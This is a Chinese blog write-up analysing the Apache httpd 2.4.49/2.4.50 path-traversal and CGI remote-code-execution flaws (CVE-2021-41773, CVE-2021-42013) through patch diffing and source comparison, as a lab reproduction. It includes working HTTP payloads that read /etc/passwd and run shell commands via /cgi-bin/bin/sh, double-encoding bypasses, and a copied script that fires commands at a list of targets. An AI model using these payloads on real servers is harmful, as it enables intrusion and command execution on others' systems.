0x00 参考

本文将大量参考(chaoxi)且听安全的 QCyber 大佬 https://mp.weixin.qq.com/s/QmnBK0LtzPmBkAx6K54PTA ,本文是我跟着大佬的文章复现,并补充了大佬文章中没有提到的一些内容。

0x01 CVE-2021-41773

漏洞信息

https://dlcdn.apache.org/httpd/CHANGES_2.4.50

https://httpd.apache.org/security/vulnerabilities_24.html

环境

docker pull httpd:2.4.49
docker pull httpd:2.4.50
docker cp 7fd4a5912339be95d5f4c960bf5b2a50aec2be45ff5d40920bdf61c7c19:/usr/local/apache2/bin/httpd /Users/fengwenhua/靶场/httpd_2_4_49
docker cp 64535a1a334f094549dfa5fa5516790197f7de9398cc013c3b9ec7e76e143412:/usr/local/apache2/bin/httpd /Users/fengwenhua/靶场/httpd_2_4_50

这里为了方便直接用别人搭建好的docker环境 https://github.com/blasty/CVE-2021-41773

git clone https://github.com.cnpmjs.org/blasty/CVE-2021-41773.git
cd CVE-2021-41773
docker-compose build && docker-compose up -d

vulhub 已经更新了,可以用 vulhub 的环境 https://github.com/vulhub/vulhub/tree/master/httpd

bindiff

直接去github看 commit 有点难顶,可以用补丁比较法

下载链接:https://www.zynamics.com/software.html

使用链接:https://www.cnblogs.com/lsdb/p/10543411.html

注意版本问题,在 https://www.zynamics.com/bindiff/manual/index.html 可以查看

bindiff版本 ida版本
4.1 6.5以上
4.2 6.8以上
4.3 6.95
5 7
6 7.4
7 7.4-7.6sp1

双击打开Matched Functions项,按相似度(Similarity)从低到高排序,相似度不为1的函数即为两个文件被改动的位置。

由于一开始的提示,这个是路径穿越,所以直接双击ap_normalize_path,两个函数不同的位置会被以有底色形式标出

ida

这里我们可以用ida查看一下

如果显示数字,可以如图操作

这玩意还是有点难看,下面直接看源码

2.4.49和2.4.50 源码

https://github.com/apache/httpd 下载tag2.4.50的源码 https://github.com/apache/httpd/tree/2.4.50

直接搜Tags就行,搜branches是没有的

ap_normalize_path,在server/util.c发现了其定义,并且在里面发现了新增的内容,且注释上写着,它是想去掉/xx/../或者是/xx/.%2e/的情况

众所周知,.%2e/url解码后不就是../吗?

https://github.com/apache/httpd/tree/2.4.49 ,把两个版本的 util.c 用 beyond compare 比较一下

在老版本中只处理了/xx/../这样的路径,而没有正确处理/xx/.%2e/,导致%2e被带入后续的处理,发生目录穿越

这里会有两个小疑问,一个是这个url路径是在哪里传入来的,二是传入url编码后的东西,在哪里解码?能不能支持多重解码?

于是查ap_normalize_path的调用,在server/request.c里面发现了,url路径传入

再往后一点,发现了url解码

这里会根据配置文件是否允许编码斜杠allow_encoded_slashes来决定url解码的时候,是否保留%2f(这里用两个不同的url解码函数,实际上调用的是同一个解码函数unescape_url

总结一下,攻击者利用/xx/.%2e/逃过了ap_normalize_path函数的检测,最终 url_path 传递给了unescape_url进行url解码,解码变成/xx/../导致目录穿越。

路径穿越

知道原理之后,那路径穿越的poc就可以写出来的,当然,我这里的前缀是icons,这玩意得找一下已有的,能访问的,最好的就是apache默认就能访问的啦

如果传入的不是能访问的,httpd直接404了,还路径穿越个鬼。。。

GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: localhost:8080
User-Agent: curl/7.64.1
Accept: */*
Connection: close

rce探索

在搞定目录穿越之后,我们就得考虑一下有没有rce了,如果 apache 装了 cgi 模块,那么理论上我们是可以执行命令的

这里先不考虑为啥能执行,后面会讲到。

在安装Apache之后,默认并不包含cgi 模块,需要我们自行安装以完成cgi解析,那么有没有可能在启用mod_cgi模块的前提下,实现RCE呢?

靶机需要修改httpd.conf配置文件,启用mod_cgidmod_cgi模块。修改配置文件之后,需要使用apachectl -k restart重启服务。

这里关于cgi 的配置方面,前面的搭建环境的靶机已经搞定了 ,不需要我们关心,我只是在这里提一嘴

LoadModule cgi_module modules/mod_cgid.so
LoadModule cgi_module modules/mod_cgi.so

mod_cgi模块的功能是根据输入脚本类型选择不同解析器进行执行,常用的解析器有phpperlbash

直接写一个id命令,我们可以查看 apache 日志tail -f /var/log/apache2/error.log来查看效果:

POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash HTTP/1.1
Host: localhost:8080
User-Agent: curl/7.64.1
Accept: */*
Content-Length: 2
Content-Type: application/x-www-form-urlencoded
Connection: close

id

虽然错误日志提示Bad header,但是命令已经执行成功

尝试使用重定向,命令结果成功写入文件。所以可以getshell了。

在跟踪代码的过程中,注意到错误日志apache/error_log提示malformed header from script 'bash': Bad header

分析后发现该错误来自于server/util_script.c中的ap_scan_script_header_err_core_ex函数:

然后我们找到对应的头文件include/util_script.h,发现了其声明

Read headers output from a script, ensuring that the output is valid.  If the output is valid, then the headers are added to the headers out of the current request. If the request method is GET or HEAD and the script's response will not meet the request's HTTP conditions, a conditional status code is returned.

读取脚本输出的头信息,确保输出是有效的。 如果输出是有效的,那么这些头信息将被添加到当前请求的头信息中。如果请求方法是GET或HEAD,并且脚本的响应将不符合请求的HTTP条件,那么将返回一个有条件的状态代码。

ap_scan_script_header_err_core_ex函数主要负责从cgi处理结果中读取输入,并确保输出格式符合一定要求。

大体来说就是解析后的结果必须符合http协议规范,我们知道http请求分为header和body,且中间需要使用\r\n进行分割。这里使用echo命令直接写入一个文件头,由此成功获取了一个正常的返回报文。

POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash HTTP/1.1
Host: localhost:8080
User-Agent: curl/7.64.1
Accept: */*
Content-Length: 47
Content-Type: application/x-www-form-urlencoded
Connection: close

echo -e "Host: 127.0.0.1\nUser-Agent: Chrome\n"

接下来使用相关语法就可以成功获取命令执行的回显结果。

POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash HTTP/1.1
Host: localhost:8080
User-Agent: curl/7.64.1
Accept: */*
Content-Length: 52
Content-Type: application/x-www-form-urlencoded
Connection: close

echo -e "Host: 127.0.0.1\nUser-Agent: exp~~`id`~~\n"

exp

https://www.exploit-db.com/exploits/50383

#!/bin/bash

if [[ $1 == '' ]]; [[ $2 == '' ]]; then
echo Set [TAGET-LIST.TXT] [PATH] [COMMAND]
echo ./PoC.sh targets.txt /etc/passwd
exit
fi
for host in $(cat $1); do
echo $host
curl --proxy http://192.168.72.1:8080 -s --path-as-is -d "echo Content-Type: text/plain; echo; $3" "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e$2"; done

# PoC.sh targets.txt /etc/passwd
# PoC.sh targets.txt /bin/sh whoami
curl --proxy http://127.0.0.1:8081  -s --path-as-is   "http://localhost:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

curl --proxy http://127.0.0.1:8081  -s --path-as-is -d "echo Content-Type: text/plain; echo; id"  "http://localhost:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"
GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: localhost:8080
User-Agent: curl/7.64.1
Accept: */*
Connection: close

cgi-bin执行命令:https://www.cnblogs.com/-beyond/p/8564108.html

POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: localhost:8080
User-Agent: curl/7.64.1
Accept: */*
Content-Length: 39
Content-Type: application/x-www-form-urlencoded
Connection: close

echo Content-Type: text/plain; echo; id

这里解释一下,为啥post命令过去能够执行。这是 cgi-bin 的一个特性 http://httpd.apache.org/docs/current/howto/cgi.html

也就是说,通过 POST 传入的参数,会作为 stdin 的内容,交给所访问的 cgi 程序处理

ps: 经过实测,只要请求体有内容就行,你甚至可以手动把 POST 改成 GET

如果访问的是 /bin/sh ,那么就能直接 getshell 了

这里实测,按不按照那个xx=xx&yy=yy的格式传过去都没问题

POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: localhost:8080
User-Agent: curl/7.64.1
Accept: */*
Content-Length: 19
Content-Type: application/x-www-form-urlencoded
Connection: close

a=1;touch /tmp/hack

到此,CVE-2021-41773分析完成了,但是,从上面的分析我们可以得知,50版本,是通过在ap_normalize_path中过滤%2e来解决问题的,但是,ap_normalize_path只识别%2e是完全不够的,攻击者完全可以使用多重url编码来绕过%2e的检测,因为对于程序来说,在server/util.c中的unescape_url函数,是可以把多重编码给解码的。

因此,这就引出了 CVE-2021-42013 这个漏洞。

0x02 CVE-2021-42013

https://downloads.apache.org/httpd/CHANGES_2.4.51

ap_unescape_url_ex 没啥用

根据提示,我先分析了一下ap_unescape_url_ex函数。ap_unescape_url_ex功能为对url进行解码。经过分析,其只是把老版本中的ap_unescape_urlap_unescape_url_keep2f 整合了。

所以这一小节剩下的内容看不看都无所谓了,只是我分析的时候截的图,后面不舍得删了而已。

对比了50和51的util.c,多了个ap_unescape_url_ex

unescape_url也多了一些flag,一旦出现forbid_slashes之类的,直接return not found

我们可以对比一下两个tag: https://github.com/apache/httpd/compare/2.4.50...2.4.51

发现了ap_unescape_url_ex的调用

进入request.c文件的ap_process_request_internal处理函数,加入了一堆的flag,其实就是保留斜杠和移除斜杠的flag。

涉及的几个变量如下:

access_status的含义如下:

有用的点

我们再次对比ap_normalize_path函数就会发现

2.4.51版本那里,必须满足第一个字符是%,第二个和第三个字符必须是数字,否则直接ret=0,如果攻击者想要使用多重url编码绕过ap_normalize_path的检测,已经不行了。

所以直接上 poc,原来49版本的 payload 是对点号做了一次url编码--.%2e/,现在50版本就是对.%2e/里面随意进行url编码(unescape_url函数都能给你解了),如下:

这里说的随意编码,是只可以对.2e进行再次url编码,%是不行的

curl http://<host>:<Port>/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd

curl http://<host>:<Port>/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

curl http://<host>:<Port>/cgi-bin/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd

curl http://<host>:<Port>/cgi-bin/.%2%65/.%2%65/.%2%65/.%2%65/etc/passwd
GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.1
Host: localhost:8080
User-Agent: curl/7.64.1
Accept: */*
Connection: close

GET /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash HTTP/1.1
Host: localhost:8080
User-Agent: curl/7.64.1
Accept: */*
Connection: close
Content-Length: 7

echo;id

这里我手动把POST改成了GET,发现也能用

0x03 后言

总结一下这次的漏洞,说白了,就是 httpd 把 url_path 传递给 ap_normalize_path进行了过滤,然后用unescape_url进行url解码。而漏洞点就出现在ap_normalize_path过滤不完全,导致攻击者可以绕过ap_normalize_path对过滤,最终让unescape_url成功解码出../导致路径穿越。

这是我第一次比较深入的分析,这里再次感谢 QCyber 大佬的文章 https://mp.weixin.qq.com/s/QmnBK0LtzPmBkAx6K54PTA 对我的指引,说实话,我之前都不知道bindiff,是看了这个大佬的文章,慢慢研究,搜索才发现的。。。Orz

最后修改:2021 年 10 月 11 日 11 : 49 AM
如果觉得我的文章对你有用,请随意赞赏